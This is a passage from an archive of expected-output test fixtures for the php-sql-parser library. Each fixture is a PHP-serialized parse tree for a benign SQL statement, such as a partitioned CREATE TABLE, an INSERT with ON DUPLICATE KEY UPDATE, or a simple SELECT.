0;s:1:"c";}}}}}}s:6:"VALUES";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:7:"(1,2,3)";s:4:"data";a:3:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"ON";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DUPLICATE";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:4;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"UPDATE";}i:5;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:21:"id=LAST_INSERT_ID(id)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:14:"LAST_INSERT_ID";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}}}}s:5:"delim";s:1:",";}i:6;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:3:"c=3";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \x>A  A  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33s.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ts";s:4:"name";s:2:"ts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ts";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:25:" (id INT, purchased DATE)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:14:"purchased DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";b:0;s:17:"partition-options";a:3:{i:0;a:5:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:55:"PARTITION BY RANGE COLUMNS(id)
            PARTITIONS 3";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:3:{s:9:"expr_type";s:15:"partition-range";s:9:"base_expr";s:17:"RANGE COLUMNS(id)";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"RANGE";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COLUMNS";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}}}}}i:3;a:3:{s:9:"expr_type";s:15:"partition-count";s:9:"base_expr";s:12:"PARTITIONS 3";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"PARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";}}}}s:2:"by";s:5:"RANGE";s:5:"count";s:1:"3";}i:1;a:5:{s:9:"expr_type";s:13:"sub-partition";s:9:"base_expr";s:76:"SUBPARTITION LINEAR KEY ALGORITHM=2 (purchased) 
            SUBPARTITIONS 2";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"LINEAR";}i:2;a:5:{s:9:"expr_type";s:17:"sub-partition-key";s:9:"base_expr";s:27:"KEY ALGORITHM=2 (purchased)";s:6:"linear";b:1;s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:1;a:3:{s:9:"expr_type";s:27:"sub-partition-key-algorithm";s:9:"base_expr";s:11:"ALGORITHM=2";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"ALGORITHM";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:11:"(purchased)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}}}}s:9:"algorithm";s:1:"2";}i:3;a:3:{s:9:"expr_type";s:19:"sub-partition-count";s:9:"base_expr";s:15:"SUBPARTITIONS 2";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:13:"SUBPARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}}s:2:"by";s:10:"LINEAR KEY";s:5:"count";s:1:"2";}i:2;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:1117:"(
                PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:349:"PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p0";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (1990)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1990)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1990";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s0";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk0/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk0/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk0/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s1";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk1/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk1/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk1/idx'";}}}}}}}}}i:1;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:349:"PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p1";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (2000)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(2000)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"2000";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s2";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk2/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk2/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk2/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk2/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s3";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s3";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk3/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk3/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk3/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk3/idx'";}}}}}}}}}i:2;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:351:"PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p2";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p2";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:25:"VALUES LESS THAN MAXVALUE";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"MAXVALUE";}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s4";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s4";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk4/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk4/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk4/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk4/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s5";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s5";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk5/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk5/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk5/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk5/idx'";}}}}}}}}}}}}}}PK     \6  6  L  vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git11.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"reserved";s:5:"alias";b:0;s:9:"base_expr";s:6:"column";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:0:"";s:9:"base_expr";s:2:"as";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:0:{}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"table as";s:8:"sub_tree";b:0;}}}PK     \    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33a.serializednu [        a:2:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}}s:8:"position";i:7;}s:5:"TABLE";a:6:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:11:" (LIKE xyz)";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:4:"like";s:9:"base_expr";s:8:"LIKE xyz";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LIKE";s:8:"position";i:21;}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"xyz";s:9:"base_expr";s:3:"xyz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"xyz";}}s:8:"position";i:26;}}s:8:"position";i:21;}}s:8:"position";i:19;}s:7:"options";b:0;s:8:"position";i:13;}}PK     \/    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue82.serializednu [        a:1:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:6:"number";s:9:"base_expr";s:9:"as number";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"number";}}}s:9:"base_expr";s:22:"SUM(1) * 100 as number";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:18:"aggregate_function";s:9:"base_expr";s:3:"SUM";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \dpT    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue69.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"table1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"table1";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"table1";s:8:"sub_tree";b:0;s:8:"position";i:14;}}s:5:"WHERE";a:7:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"col1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"col1";}}s:8:"sub_tree";b:0;s:8:"position";i:27;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;s:8:"position";i:31;}i:2;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"col2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"col2";}}s:8:"sub_tree";b:0;s:8:"position";i:33;}i:3;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"or";s:8:"sub_tree";b:0;s:8:"position";i:38;}i:4;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"col3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"col3";}}s:8:"sub_tree";b:0;s:8:"position";i:41;}i:5;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"is";s:8:"sub_tree";b:0;s:8:"position";i:46;}i:6;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"null";s:8:"sub_tree";b:0;s:8:"position";i:49;}}}PK     \    H  vendor/greenlion/php-sql-parser/tests/expected/parser/insert2.serializednu [        a:2:{s:6:"INSERT";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";s:8:"position";i:8;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:15:"settings_global";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"settings_global";}}s:5:"alias";b:0;s:9:"base_expr";s:15:"settings_global";s:8:"position";i:13;}}s:6:"VALUES";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:20:"('DBVersion', 